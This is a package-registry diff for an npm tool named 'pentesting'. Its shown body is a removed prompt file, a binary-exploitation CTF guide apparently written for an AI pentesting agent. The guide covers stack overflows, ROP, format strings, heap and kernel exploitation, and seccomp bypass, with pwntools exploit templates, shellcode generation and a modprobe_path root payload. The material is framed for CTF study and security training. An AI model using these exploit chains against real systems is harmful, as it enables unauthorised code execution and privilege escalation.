pentesting 0.73.14 → 0.90.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (70) hide show
  1. package/README.md +120 -49
  2. package/bin/pentesting.mjs +32 -0
  3. package/lib/runtime.mjs +419 -0
  4. package/package.json +17 -46
  5. package/scripts/postinstall.mjs +30 -0
  6. package/scripts/preflight-local.sh +24 -0
  7. package/dist/ad/prompt.md +0 -60
  8. package/dist/agent-tool-MMDCBQ74.js +0 -989
  9. package/dist/api/prompt.md +0 -63
  10. package/dist/chunk-4KLVUP3C.js +0 -11458
  11. package/dist/chunk-AEQNELCQ.js +0 -5930
  12. package/dist/chunk-YZNPWDNS.js +0 -1166
  13. package/dist/cloud/prompt.md +0 -49
  14. package/dist/container/prompt.md +0 -58
  15. package/dist/database/prompt.md +0 -58
  16. package/dist/email/prompt.md +0 -44
  17. package/dist/file-sharing/prompt.md +0 -56
  18. package/dist/ics/prompt.md +0 -76
  19. package/dist/main.d.ts +0 -1
  20. package/dist/main.js +0 -9737
  21. package/dist/network/prompt.md +0 -49
  22. package/dist/persistence-IGAKJZJ3.js +0 -13
  23. package/dist/process-registry-DNEZX4S5.js +0 -30
  24. package/dist/prompts/base.md +0 -436
  25. package/dist/prompts/ctf-crypto.md +0 -168
  26. package/dist/prompts/ctf-forensics.md +0 -182
  27. package/dist/prompts/ctf-pwn.md +0 -137
  28. package/dist/prompts/evasion.md +0 -215
  29. package/dist/prompts/exploit.md +0 -416
  30. package/dist/prompts/infra.md +0 -114
  31. package/dist/prompts/llm/analyst-system.md +0 -76
  32. package/dist/prompts/llm/context-extractor-system.md +0 -19
  33. package/dist/prompts/llm/input-processor-system.md +0 -64
  34. package/dist/prompts/llm/memory-synth-system.md +0 -14
  35. package/dist/prompts/llm/playbook-synthesizer-system.md +0 -10
  36. package/dist/prompts/llm/reflector-system.md +0 -16
  37. package/dist/prompts/llm/report-generator-system.md +0 -21
  38. package/dist/prompts/llm/strategist-fallback.md +0 -9
  39. package/dist/prompts/llm/triage-system.md +0 -47
  40. package/dist/prompts/main-agent.md +0 -193
  41. package/dist/prompts/offensive-playbook.md +0 -250
  42. package/dist/prompts/payload-craft.md +0 -181
  43. package/dist/prompts/post.md +0 -185
  44. package/dist/prompts/recon.md +0 -296
  45. package/dist/prompts/report.md +0 -98
  46. package/dist/prompts/strategist-system.md +0 -472
  47. package/dist/prompts/strategy.md +0 -163
  48. package/dist/prompts/techniques/README.md +0 -40
  49. package/dist/prompts/techniques/ad-attack.md +0 -261
  50. package/dist/prompts/techniques/auth-access.md +0 -256
  51. package/dist/prompts/techniques/container-escape.md +0 -103
  52. package/dist/prompts/techniques/crypto.md +0 -296
  53. package/dist/prompts/techniques/enterprise-pentest.md +0 -175
  54. package/dist/prompts/techniques/file-attacks.md +0 -144
  55. package/dist/prompts/techniques/forensics.md +0 -313
  56. package/dist/prompts/techniques/injection.md +0 -217
  57. package/dist/prompts/techniques/lateral.md +0 -128
  58. package/dist/prompts/techniques/network-svc.md +0 -229
  59. package/dist/prompts/techniques/pivoting.md +0 -205
  60. package/dist/prompts/techniques/privesc.md +0 -190
  61. package/dist/prompts/techniques/pwn.md +0 -595
  62. package/dist/prompts/techniques/reversing.md +0 -183
  63. package/dist/prompts/techniques/sandbox-escape.md +0 -73
  64. package/dist/prompts/techniques/shells.md +0 -194
  65. package/dist/prompts/vuln.md +0 -190
  66. package/dist/prompts/web.md +0 -318
  67. package/dist/prompts/zero-day.md +0 -298
  68. package/dist/remote-access/prompt.md +0 -52
  69. package/dist/web/prompt.md +0 -59
  70. package/dist/wireless/prompt.md +0 -62
@@ -1,595 +0,0 @@
1
- # Binary Exploitation (Pwn) — Comprehensive CTF Guide
2
-
3
- > **§3 Minimal Specification**: This file is a **Bootstrap reference**, not a prescribed order.
4
- > Do NOT follow steps linearly. Use `get_owasp_knowledge`, `web_search`, and target observations
5
- > to decide what to test and in what order. Adapt dynamically — not to this list.
6
-
7
- > **Cross-ref**: exploit.md (shell strategy), evasion.md (bypass), shells.md (shell types)
8
-
9
- ## Phase 0: Recon — Identify Protections
10
-
11
- ```
12
- Before exploiting, understand what you're dealing with:
13
- ├── file <binary> → architecture, linking, stripped?
14
- ├── checksec --file=<binary> → NX, PIE, RELRO, Canary, FORTIFY
15
- ├── strings <binary> → hardcoded strings, function names
16
- ├── ltrace ./<binary> → library calls (strcmp, system, gets)
17
- ├── strace ./<binary> → system calls
18
- ├── readelf -s <binary> → symbol table
19
- ├── objdump -d <binary> → disassembly (or use radare2/Ghidra)
20
- ├── ldd <binary> → linked libraries + ASLR check
21
- └── readelf -l <binary> → segment permissions (RWX = shellcode!)
22
- ```
23
-
24
- ### Protection Cheat Sheet
25
- ```
26
- Protection Bypass Strategy
27
- ────────── ─────────────────────────
28
- No NX → Shellcode on stack/heap
29
- NX enabled → ROP (ret2libc, ret2win, ret2csu, ret2dlresolve)
30
- No PIE → Hardcoded addresses work directly
31
- PIE enabled → Need address leak first, then calculate offsets
32
- No Canary → Direct buffer overflow
33
- Canary → Leak canary via format string, brute-force (forking server)
34
- Partial RELRO → GOT overwrite possible
35
- Full RELRO → GOT read-only, use __malloc_hook/__free_hook or stack
36
- No ASLR → Fixed addresses (check: cat /proc/sys/kernel/randomize_va_space)
37
- ASLR → Leak libc/stack/heap base, ret2plt, partial overwrite
38
- FORTIFY → Some format string restrictions, limited buffer overflow
39
- ```
40
-
41
- ## Stack Buffer Overflow
42
-
43
- ```
44
- Classic BOF flow:
45
- 1. Find overflow length:
46
- python3 -c "print('A'*100)" | ./<binary>
47
- → Use cyclic pattern to find exact offset:
48
- # Pwntools (preferred):
49
- from pwn import *
50
- cyclic(200) # generate pattern
51
- cyclic_find(0x6161616b) # find offset from crash value
52
-
53
- # MSF:
54
- msf-pattern_create -l 200
55
- msf-pattern_offset -q <EIP_value>
56
-
57
- 2. Control EIP/RIP:
58
- python3 -c "print('A'*offset + 'BBBB')" | ./<binary>
59
- → EIP should be 0x42424242
60
-
61
- 3. Find return address:
62
- ├── No NX: JMP ESP/RSP in binary or libc
63
- │ objdump -d <binary> | grep "jmp.*esp"
64
- ├── NX enabled: ROP (Return Oriented Programming)
65
- └── ASLR: ret2libc or leak libc address
66
-
67
- Pwntools template:
68
- from pwn import *
69
- context.binary = elf = ELF('./<binary>')
70
- # p = process(elf.path) # local testing
71
- p = remote('host', port) # remote exploit
72
-
73
- offset = <N>
74
- payload = flat(
75
- b'A' * offset,
76
- elf.symbols['win_function'], # or ROP chain
77
- )
78
- p.sendline(payload)
79
- p.interactive()
80
- ```
81
-
82
- ## Return Oriented Programming (ROP)
83
-
84
- ```
85
- When NX is enabled (no shellcode execution on stack):
86
-
87
- Find gadgets:
88
- ├── ROPgadget --binary <binary> --ropchain
89
- ├── ropper -f <binary> --search "pop rdi"
90
- ├── pwntools: ROP(elf).find_gadget(['pop rdi', 'ret'])
91
- └── Common gadgets: pop rdi; ret, pop rsi; pop r15; ret, ret (alignment)
92
-
93
- ═══════════════════════════════════════
94
- ret2libc (Most Common ROP in CTF):
95
- ═══════════════════════════════════════
96
- 1. Leak libc address:
97
- ├── GOT leak via puts/printf: call puts@plt(got['puts'])
98
- ├── Format string: %p leak stack/libc pointers
99
- └── Info leak via other vuln
100
- 2. Calculate libc base:
101
- libc_base = leaked_addr - libc.symbols['puts']
102
- 3. Build payload:
103
- system = libc_base + libc.symbols['system']
104
- bin_sh = libc_base + next(libc.search(b'/bin/sh'))
105
- pop_rdi = <gadget_addr>
106
- # 64-bit: pop rdi; ret → /bin/sh → system
107
- # Alignment: add extra 'ret' gadget before system if needed
108
-
109
- Pwntools automated:
110
- from pwn import *
111
- elf = ELF('./<binary>')
112
- libc = ELF('./libc.so.6') # or target libc
113
- rop = ROP(elf)
114
- rop.call('puts', [elf.got['puts']]) # leak
115
- rop.call(elf.symbols['main']) # return to main for stage 2
116
-
117
- ═══════════════════════════════════════
118
- ret2win (Simplest):
119
- ═══════════════════════════════════════
120
- ├── Find a "win" function (prints flag, spawns shell)
121
- ├── Payload: padding + win_function_address
122
- ├── With PIE: Need a leak first, then calculate offset
123
- └── Check: objdump -t <binary> | grep -i "win\|flag\|shell\|cat"
124
-
125
- ═══════════════════════════════════════
126
- ret2csu (When Gadgets Are Scarce):
127
- ═══════════════════════════════════════
128
- ├── __libc_csu_init has universal gadgets for rdi, rsi, rdx
129
- ├── Two-stage: set registers via csu pop, then call function
130
- └── web_search("ret2csu tutorial") for detailed gadget chains
131
-
132
- ═══════════════════════════════════════
133
- ret2dlresolve (No Libc Needed):
134
- ═══════════════════════════════════════
135
- ├── Forge fake relocation entry to resolve arbitrary function
136
- ├── pwntools: Ret2dlresolvePayload(elf, symbol="system", args=["/bin/sh"])
137
- └── Works even without libc leak — powerful when binary is minimal
138
-
139
- ═══════════════════════════════════════
140
- SROP (Sigreturn Oriented Programming):
141
- ═══════════════════════════════════════
142
- ├── Use sigreturn syscall to set ALL registers at once
143
- ├── Pwntools: SigreturnFrame() — set rip, rsp, rax, etc.
144
- ├── Need: syscall gadget + sigreturn number in rax (0xf on x86_64)
145
- └── Extremely powerful — single gadget controls entire register state
146
- ```
147
-
148
- ## Format String Vulnerability
149
-
150
- ```
151
- Detection: Send %x.%x.%x.%x → if hex values appear, vulnerable
152
-
153
- ═══════════════════════════════════════
154
- Read memory:
155
- ═══════════════════════════════════════
156
- ├── %p.%p.%p... → leak stack values (find canary, addresses, libc)
157
- ├── %N$p → read Nth argument directly
158
- ├── %s → read string at address on stack
159
- └── Find useful leaks:
160
- ├── Stack canary (8 bytes, ends with \x00)
161
- ├── Libc addresses (0x7f... on 64-bit)
162
- ├── PIE base (calculate from code pointers)
163
- └── Heap addresses
164
-
165
- ═══════════════════════════════════════
166
- Write memory (overwrite GOT, return address, hooks):
167
- ═══════════════════════════════════════
168
- ├── %n → writes number of characters printed so far (4 bytes)
169
- ├── %N$n → write to Nth argument
170
- ├── %hn → write 2 bytes (short) — most used
171
- ├── %hhn → write 1 byte — most precise
172
- └── Targets:
173
- ├── GOT entry (redirect function to win/system/one_gadget)
174
- ├── __malloc_hook / __free_hook (trigger via malloc/free)
175
- ├── Return address on stack
176
- ├── .fini_array (called at exit)
177
- └── atexit handlers
178
-
179
- ═══════════════════════════════════════
180
- Pwntools automation:
181
- ═══════════════════════════════════════
182
- from pwn import *
183
- # Automatic format string exploit
184
- payload = fmtstr_payload(offset, {target_addr: desired_value})
185
- # Advanced: write multiple values
186
- payload = fmtstr_payload(offset, {
187
- elf.got['printf']: elf.symbols['win'], # redirect printf→win
188
- })
189
- p.sendline(payload)
190
- ```
191
-
192
- ## Heap Exploitation
193
-
194
- ```
195
- ═══════════════════════════════════════
196
- Fundamental Heap Techniques:
197
- ═══════════════════════════════════════
198
-
199
- Use After Free (UAF):
200
- ├── allocate → free → allocate same size → use old pointer
201
- ├── The new allocation reuses freed chunk's memory
202
- ├── If old pointer is still accessible → read/write freed data
203
- └── Key: control what gets allocated in the freed slot
204
-
205
- Double Free:
206
- ├── free(A) → free(B) → free(A) → now A is in freelist twice
207
- ├── Allocate: get A → write fd pointer → allocate → allocate (arbitrary addr!)
208
- ├── GLIBC 2.29+: key field check → need to overwrite key or use different bins
209
- └── Bypass: tcache count tampering, or use fastbin (if >= 7 chunks in tcache)
210
-
211
- Heap Overflow:
212
- ├── Overflow into next chunk's metadata (size, fd, bk)
213
- ├── Modify size → overlapping chunks → controlled overlap
214
- ├── Null byte overflow: shrink next chunk → unlink attack
215
- └── Off-by-one: even 1 byte overflow can be lethal
216
-
217
- ═══════════════════════════════════════
218
- Tcache Attacks (glibc 2.26-2.35):
219
- ═══════════════════════════════════════
220
- Tcache poisoning:
221
- ├── Corrupt tcache entry's fd pointer → arbitrary allocation
222
- ├── GLIBC 2.32+: Safe-linking (PROTECT_PTR) → need heap base leak
223
- │ fd = (chunk_addr >> 12) ^ target_addr ← key formula!
224
- ├── Allocate at: __free_hook, __malloc_hook, GOT, stack
225
- └── Once arbitrary write: system("/bin/sh") or one_gadget
226
-
227
- Tcache count manipulation:
228
- ├── Overflow into tcache_perthread_struct (at heap base)
229
- ├── Set counts[size_index] to allow more frees or skips
230
- └── Enables double-free even on newer glibc
231
-
232
- ═══════════════════════════════════════
233
- Fastbin Attacks (older but still relevant):
234
- ═══════════════════════════════════════
235
- ├── Fastbin dup: double free in fastbin → arbitrary write
236
- ├── Size check: target must have valid fastbin size in header
237
- ├── Align to 0x7f byte in __malloc_hook area (libc)
238
- └── Used when tcache is full (7+ chunks of same size freed)
239
-
240
- ═══════════════════════════════════════
241
- Unsorted Bin Attacks:
242
- ═══════════════════════════════════════
243
- ├── Unsorted bin leak: free large chunk → fd/bk points to main_arena
244
- ├── main_arena is at known offset from libc base → libc leak!
245
- ├── Unsorted bin attack (glibc <2.29): corrupt bk → write main_arena addr
246
- └── Size: must be ≥ 0x90 to avoid fastbin/tcache
247
-
248
- ═══════════════════════════════════════
249
- Large Bin Attack:
250
- ═══════════════════════════════════════
251
- ├── Corrupt large bin fd_nextsize/bk_nextsize
252
- ├── Write heap address to arbitrary location
253
- ├── Useful for: overwrite mp_.tcache_bins, global_max_fast
254
- └── Enables further exploitation chain
255
-
256
- ═══════════════════════════════════════
257
- House Techniques (Named Patterns):
258
- ═══════════════════════════════════════
259
- ├── House of Force → corrupt top chunk size → allocate to target
260
- ├── House of Spirit → forge fake chunk → free it → allocate at target
261
- ├── House of Lore → small bin corruption → arbitrary allocation
262
- ├── House of Orange → forge unsorted bin chunk from top chunk
263
- ├── House of Botcake → tcache + unsorted bin overlap (2.31+)
264
- ├── House of Pig → largebin + tcache stashing → arbitrary write
265
-
266
- ├── House of Banana (glibc 2.35+ — exit-time RCE via rtld_global):
267
- │ ├── Prerequisite: heap write primitive + libc/ld-linux base leak
268
- │ ├── Target: _rtld_global (ld.so global) → _dl_audit chain
269
- │ ├── Attack path:
270
- │ │ ├── 1. Leak ld.so base (via libc → _rtld_global symbol offset)
271
- │ │ │ ld_base = libc.address + libc.symbols['_rtld_global'] - ld.symbols['_rtld_global']
272
- │ │ ├── 2. Locate: _rtld_global._dl_ns[0]._ns_loaded → link_map ptr
273
- │ │ ├── 3. In link_map: l_audit_any_plt / l_auditing fields
274
- │ │ ├── 4. Forge fake link_map on heap:
275
- │ │ │ fake_lm = flat({0x28: heap_base + fake_lm_offset}) # l_next
276
- │ │ │ # at offset 0x340: pointer to fake audit struct
277
- │ │ ├── 5. Fake audit struct: ae_funcptr → system or one_gadget
278
- │ │ ├── 6. Trigger: call exit() or return from main → _dl_audit_preinit fires
279
- │ │ └── Template:
280
- │ │ from pwn import *
281
- │ │ # After leaks:
282
- │ │ rtld_global = ld.sym['_rtld_global']
283
- │ │ dl_ns = rtld_global # _dl_ns[0] at offset 0
284
- │ │ ns_loaded = dl_ns # _ns_loaded is first field
285
- │ │ # Write fake link_map → audit struct → funcptr = system
286
- │ │ # Details vary per binary — confirm struct offsets with gdb:
287
- │ │ # gdb: p &_rtld_global._dl_ns[0]._ns_loaded
288
- │ └── web_search("house of banana glibc 2.35 exploit script site:github.com")
289
-
290
- ├── House of Kiwi (glibc 2.35+ — _IO_FILE vtable abuse without __free_hook):
291
- │ ├── Context: glibc 2.24+ removed __free_hook/__malloc_hook; vtable check added
292
- │ ├── Bypass: _IO_obstack_jumps / _IO_cookie_jumps are NOT checked (whitelisted)
293
- │ ├── Attack path A — _IO_flush via exit():
294
- │ │ ├── 1. Overwrite _IO_helper_jumps vtable (in _IO_obstack_jumps range)
295
- │ │ ├── 2. Corrupt _IO_2_1_stderr_ → vtable → _IO_obstack_jumps + offset
296
- │ │ ├── 3. Set wide_data / Bckp_base pointers → control RIP
297
- │ │ └── Trigger: fflush(stderr) or exit() → _IO_flush_all_lockp fires
298
- │ ├── Attack path B — _IO_cookie_write:
299
- │ │ ├── 1. Forge _IO_cookie_file struct on heap
300
- │ │ ├── 2. Set __io_functions.write = system (after pointer mangling)
301
- │ │ │ # glibc 2.32+ mangles fn ptr: stored = (fn >> 17) | (fn << 47) ^ key
302
- │ │ │ # key is at fs:0x30; leak it or use partial overwrite
303
- │ │ ├── 3. Trigger fwrite() to the fake cookie → write callback fires
304
- │ │ └── python:
305
- │ │ mangled = ror(system ^ cookie_key, 17, 64) # pwntools ror()
306
- │ ├── Pointer mangling (glibc 2.32+ IMPORTANT):
307
- │ │ ├── Function pointers in _IO structs are XOR-rotated before storage
308
- │ │ ├── Leak the key: read fs:0x30 (TLS pointer), or partial-overwrite
309
- │ │ └── Formula: stored = ROR64((fn ^ key), 17) → reverse: fn = ROL64(stored,17) ^ key
310
- │ └── web_search("house of kiwi IO_FILE vtable bypass glibc 2.35")
311
-
312
- └── house of XXX → web_search("house of XXX heap exploitation site:github.com")
313
-
314
- ═══════════════════════════════════════
315
- Debugging heap with gdb:
316
- ═══════════════════════════════════════
317
- Use pwndbg or gef (NOT plain gdb):
318
- ├── heap → overview of all chunks
319
- ├── bins → show free chunk bins (tcache, fast, unsorted, small, large)
320
- ├── vis_heap_chunks → visual heap layout (color-coded)
321
- ├── tcachebins → tcache entries per size
322
- ├── fastbins → fastbin entries
323
- ├── x/20gx <addr> → examine raw memory
324
- └── find_fake_fast <addr> → find valid fastbin sizes near target
325
- ```
326
-
327
- ## Shellcode
328
-
329
- ```
330
- When NX is disabled (rare in modern, common in CTF):
331
-
332
- Generate:
333
- ├── pwntools: shellcode = asm(shellcraft.sh(), arch='amd64')
334
- ├── msfvenom -p linux/x64/exec CMD="/bin/sh" -f python -b '\x00'
335
- ├── Custom: smaller/badchar-free shellcode
336
- └── Staged: small shellcode reads larger shellcode from stdin
337
-
338
- Constraints:
339
- ├── Avoid null bytes: xor rax, rax (not mov rax, 0)
340
- ├── Size limit: use short shellcode (shell in ~30 bytes possible)
341
- ├── Alphanumeric: use AE64 encoder for alphanum-only shellcode
342
- ├── Seccomp: check allowed syscalls with seccomp-tools dump ./<binary>
343
- │ ├── open+read+write only → read flag file to stdout
344
- │ ├── No execve → openat + sendfile or mmap
345
- │ └── Pwntools: shellcraft.open('flag.txt') + shellcraft.read(3, 'rsp', 100) + shellcraft.write(1, 'rsp', 100)
346
- └── Write+Execute memory (mprotect): change stack/heap to RWX first
347
- ```
348
-
349
- ## Advanced: One-Gadget and Magic Gadgets
350
-
351
- ```
352
- one_gadget: single address in libc that spawns shell
353
- ├── Tool: one_gadget libc.so.6
354
- ├── Usually has constraints: [rsp+0x40] == NULL, etc.
355
- ├── When to use: anytime you can redirect execution to libc
356
- │ ├── __malloc_hook overwrite → trigger via malloc
357
- │ ├── __free_hook overwrite → trigger via free
358
- │ ├── GOT overwrite → trigger when function is called
359
- │ ├── .fini_array overwrite → trigger at exit
360
- │ └── Return address overwrite → trigger at function return
361
- └── Try ALL one_gadgets — first one often doesn't work due to constraints
362
- ```
363
-
364
- ## Kernel Exploitation (Advanced CTF)
365
-
366
- ```
367
- Common kernel pwn patterns:
368
- ├── Use after free in kernel module → overwrite function pointer
369
- ├── Race condition (TOCTOU) → exploit copy_from_user race
370
- ├── Stack overflow in ioctl handler → kernel ROP
371
- ├── Integer overflow → buffer size miscalculation
372
- └── NULL pointer dereference (if mmap_min_addr = 0)
373
-
374
- Privilege escalation:
375
- ├── commit_creds(prepare_kernel_cred(0)) → instant root
376
- ├── modprobe_path overwrite → trigger via unknown file format
377
- ├── struct cred overwrite → change uid/gid to 0
378
- └── Namespace escape → ns_capable bypass
379
-
380
- Protection bypass:
381
- ├── KASLR: leak kernel addresses (dmesg, /proc/kallsyms, info leak)
382
- ├── SMEP/SMAP: use kernel gadgets only (no userspace exec)
383
- ├── KPTI: KPTI trampoline for return to userspace
384
- └── Stack canary: leak via info leak or race
385
- ```
386
-
387
- ## Pwntools Essential Patterns
388
-
389
- ```python
390
- from pwn import *
391
-
392
- # Setup
393
- context.binary = elf = ELF('./<binary>')
394
- context.log_level = 'debug' # verbose for debugging
395
- libc = ELF('./libc.so.6')
396
-
397
- # Connection
398
- p = process(elf.path) # local
399
- p = remote('challenge.ctf.example', 1337) # remote
400
- p = gdb.debug(elf.path, 'b main') # with gdb
401
-
402
- # I/O
403
- p.sendline(b'input')
404
- p.sendafter(b'prompt: ', b'input')
405
- p.recvuntil(b'Address: ')
406
- leak = int(p.recvline().strip(), 16)
407
-
408
- # Packing
409
- p64(0xdeadbeef) # 64-bit little-endian
410
- p32(0xdeadbeef) # 32-bit little-endian
411
- u64(b'\x00' * 8) # unpack 8 bytes to int
412
-
413
- # ROP
414
- rop = ROP(elf)
415
- rop.call('puts', [elf.got['puts']])
416
- rop.call('main')
417
- print(rop.dump())
418
-
419
- # Libc
420
- libc.address = leaked_puts - libc.symbols['puts']
421
- system = libc.symbols['system']
422
- bin_sh = next(libc.search(b'/bin/sh\x00'))
423
-
424
- # DynELF (automatic libc resolution without libc file)
425
- d = DynELF(leak_func, elf=elf)
426
- system = d.lookup('system', 'libc')
427
- ```
428
-
429
- ## Libc Database Lookup
430
-
431
- ```
432
- When you leak a libc address but don't know which libc version:
433
- ├── libc.rip → search by function address suffix
434
- ├── libc-database → github.com/niklasb/libc-database
435
- ├── web_search("libc database online lookup")
436
- └── Pwntools: from pwn import *; libc = LibcSearcher('puts', leaked_addr)
437
-
438
- Once identified:
439
- ├── Download matching libc.so.6
440
- ├── libc = ELF('./libc.so.6')
441
- ├── libc.address = leak - libc.symbols['known_function']
442
- └── Now all offsets (system, /bin/sh, one_gadget, hooks) are calculable
443
- ```
444
-
445
- ## Common CTF Pwn Patterns
446
-
447
- ```
448
- Vulnerability → Exploitation Flow:
449
- ├── gets() / scanf("%s") → always overflows → classic BOF → ROP/ret2libc
450
- ├── printf(user_input) → format string → leak + arbitrary write
451
- ├── Custom malloc manager → heap challenge → find corruption primitive
452
- ├── Menu-driven program → heap note challenge → UAF/double-free/overflow
453
- ├── seccomp-restricted → ORW (open-read-write) shellcode chain
454
- ├── PIE + Canary + NX → need 2 vulns: leak (fmtstr) + overflow
455
- ├── Forking server → brute-force canary byte-by-byte (no ASLR reset)
456
- ├── Stack pivot → leave; ret → redirect RSP to controlled buffer
457
- ├── Partial overwrite → overwrite last 1-2 bytes of return addr (bypass PIE partially)
458
- ├── SUID binary → exploit → get that user's privileges
459
- └── Server binary on port → connect and exploit live
460
- ```
461
-
462
- ## Kernel Exploitation — Deep Dive (Advanced Level)
463
-
464
- ```
465
- KERNEL SETUP & ENVIRONMENT:
466
- ├── Extract fs: binwalk -e bzImage / extract-vmlinux bzImage
467
- ├── Run CTF qemu: qemu-system-x86_64 -kernel bzImage -initrd rootfs.cpio.gz
468
- │ -append "console=ttyS0 nokaslr" -m 128M -nographic
469
- ├── Debug: qemu + -s -S → gdb vmlinux → target remote :1234
470
- ├── Extract rootfs: mkdir rootfs && cd rootfs && cpio -idmv < ../rootfs.cpio.gz
471
- ├── Patch init to run as root / add your exploit binary
472
- └── Repack: find . | cpio -H newc -o --owner root:root | gzip > rootfs.cpio.gz
473
-
474
- KERNEL PROTECTIONS:
475
- ├── KASLR: base randomized → need kernel address leak
476
- │ leaks: syslog (if dmesg allowed), /proc/kallsyms (if readable)
477
- │ spray addresses, or use physmap (when mmap_min_addr=0)
478
- ├── SMEP: can't execute userspace pages in kernel mode → kernel ROP only
479
- │ bypass: disable SMEP (clear bit 20 in CR4) via kernel gadget
480
- ├── SMAP: can't access userspace memory in kernel mode
481
- │ bypass: disable SMAP (clear bit 21 in CR4) or use copy_from/to_user
482
- ├── KPTI: separate page tables for user/kernel → flush on context switch
483
- │ exploit: use KPTI trampoline swapgs_restore_regs_and_return_to_usermode
484
- │ (symbol in /proc/kallsyms or calculate from vmlinux)
485
- └── Stack Canary: same as user-space, leaked via info disclosure
486
-
487
- KERNEL ROP CHAIN — ret2usr (when SMEP disabled):
488
- ├── Control RIP via kernel overflow
489
- ├── ROP: disable SMEP/SMAP → call userspace function pointer
490
- │ mov cr4, <value_without_smep> ; ret
491
- ├── Userspace shellcode:
492
- │ void shell() {
493
- │ commit_creds(prepare_kernel_cred(NULL)); // root creds
494
- │ // return to userspace:
495
- │ asm("swapgs; iretq");
496
- │ }
497
- └── Restore context: need original rip/cs/rflags/rsp/ss saved before exploit
498
-
499
- COMMIT_CREDS PATTERN:
500
- ├── commit_creds(prepare_kernel_cred(NULL)) → uid/gid = 0
501
- ├── Addresses: grep in /proc/kallsyms (if readable) or vmlinux offsets
502
- ├── Kernel ROP: pop rdi; ret → 0 → prepare_kernel_cred → pop rdi; ret →
503
- │ rax (result) → commit_creds → recover_to_userspace
504
- └── After root: execve("/bin/sh") or system command
505
-
506
- MODPROBE_PATH OVERWRITE (powerful, no SMEP bypass needed):
507
- ├── When: have arbitrary kernel write primitive
508
- ├── Steps:
509
- │ 1. Overwrite modprobe_path (/sbin/modprobe) with /tmp/pwn script
510
- │ 2. /tmp/pwn: #!/bin/sh\n cp /flag /tmp/flag && chmod 777 /tmp/flag
511
- │ 3. Execute unknown file format → kernel calls modprobe_path
512
- │ echo -ne '\xff\xff\xff\xff' > /tmp/bad; chmod +x /tmp/bad; /tmp/bad
513
- │ 4. /tmp/flag now readable
514
- └── Works even without executing shellcode (bypasses SMEP/NX)
515
-
516
- KERNEL UAF → FUNCTION POINTER OVERWRITE:
517
- ├── Typical flow:
518
- │ 1. Allocate kernel object via ioctl / socket / open
519
- │ 2. Free it (without destroying reference)
520
- │ 3. Spray heap with controlled data (reclaim freed slot)
521
- │ 4. Original pointer now points to attacker-controlled struct
522
- │ 5. Function pointer called → code execution
523
- ├── Heap spray: open many /proc or socket fds, read/send data
524
- └── Object size: match target struct size for reliable reclaim
525
-
526
- KERNEL RACE CONDITIONS (TOCTOU):
527
- ├── Double-fetch: kernel reads userspace value twice, race between reads
528
- ├── Concurrent ioctl/syscall: race window between check and use
529
- ├── Exploitation: spin up threads, hammer concurrent syscalls
530
- ├── Tools: race_condition keyword, userfaultfd for precise racing
531
- └── web_search("kernel TOCTOU exploit userfaultfd technique")
532
-
533
- USEFUL KERNEL PRIMITIVES:
534
- ├── Arbitrary read: copy_from_user leak, info leak via syslog/proc
535
- ├── Arbitrary write: kmalloc + controlled content + overflow/UAF
536
- ├── Heap spray: open many /proc/self/mem, msg_msg (msgsnd), pipe buffers
537
- ├── msg_msg: sendmsg to reclaim freed kernel object (kmalloc-N sized)
538
- └── setxattr: arbitrary kernel heap write (controllable size + content)
539
- ```
540
-
541
- ## ROP Deep Patterns (Advanced)
542
-
543
- ```
544
- RET2DLRESOLVE — No libc file needed:
545
- from pwn import *
546
- elf = ELF('./binary')
547
- rop = ROP(elf)
548
- dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["/bin/sh"])
549
- rop.read(0, dlresolve.data_addr) # write the fake structures
550
- rop.ret2dlresolve(dlresolve)
551
- # send: padding + rop.chain() + then dlresolve.payload
552
-
553
- BLIND ROP (BROP) — No binary, only crash/non-crash:
554
- ├── Goal: exploit a stack overflow with only socket feedback
555
- ├── Step 1: Find overflow offset (binary search on payload length)
556
- ├── Step 2: Find "stop gadget" (causes infinite loop, keeps connection)
557
- ├── Step 3: Blindly probe for ROP gadgets (brop gadget is canonical)
558
- │ ├── BROP gadget: pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret
559
- │ └── Dump PLT entries to find puts → dump binary from memory
560
- ├── Step 4: Leak binary via puts over socket
561
- ├── Step 5: Standard ROP exploit from dumped binary
562
- └── web_search("blind rop brop exploit tutorial")
563
-
564
- STACK PIVOT (when controlled buffer too small for full ROP):
565
- ├── Gadget: xchg rsp, rax / leave; ret / pop rsp; ret
566
- ├── Target: large controlled buffer (heap, data section, mmap)
567
- ├── build full ROP chain there → pivot RSP to it
568
- └── Common: fake frame on heap → leave; ret pivots there
569
-
570
- SIGROP / SROP in depth:
571
- ├── Abuses sigreturn syscall (15 on x86_64) to set ALL registers
572
- ├── syscall; ret → rax=15 → sigreturn → kernel restores all regs from stack frame
573
- ├── Full SigreturnFrame:
574
- │ frame = SigreturnFrame()
575
- │ frame.rip = execve_syscall_addr # or any gadget
576
- │ frame.rsp = rsp # controlled stack
577
- │ frame.rax = 59 # SYS_execve
578
- │ frame.rdi = binsh_addr
579
- │ frame.rsi = frame.rdx = 0
580
- ├── Useful when: very few gadgets, only syscall; ret available
581
- └── orw shellcode path when execve blocked by seccomp
582
-
583
- SECCOMP BYPASS:
584
- ├── Check: seccomp-tools dump ./binary → see allowed syscalls
585
- │ seccomp-tools asm → assemble BPF filters
586
- ├── Common CTF: execve blocked → use open+read+write (ORW)
587
- │ fd = open("flag.txt", O_RDONLY)
588
- │ read(fd, buf, 0x100)
589
- │ write(1, buf, 0x100)
590
- ├── Shellcraft: shellcraft.open() + shellcraft.read(3,'rsp',100) + shellcraft.write(1,'rsp',100)
591
- ├── Filter bypass: if using 32-bit mode (ptrace SECCOMP allows different arch)
592
- │ int 0x80 in 64-bit process: uses 32-bit syscall numbers!
593
- │ open=5 (32-bit) may not be filtered if filter only blocks 64-bit open=2
594
- └── web_search("seccomp bypass technique {year} CTF")
595
- ```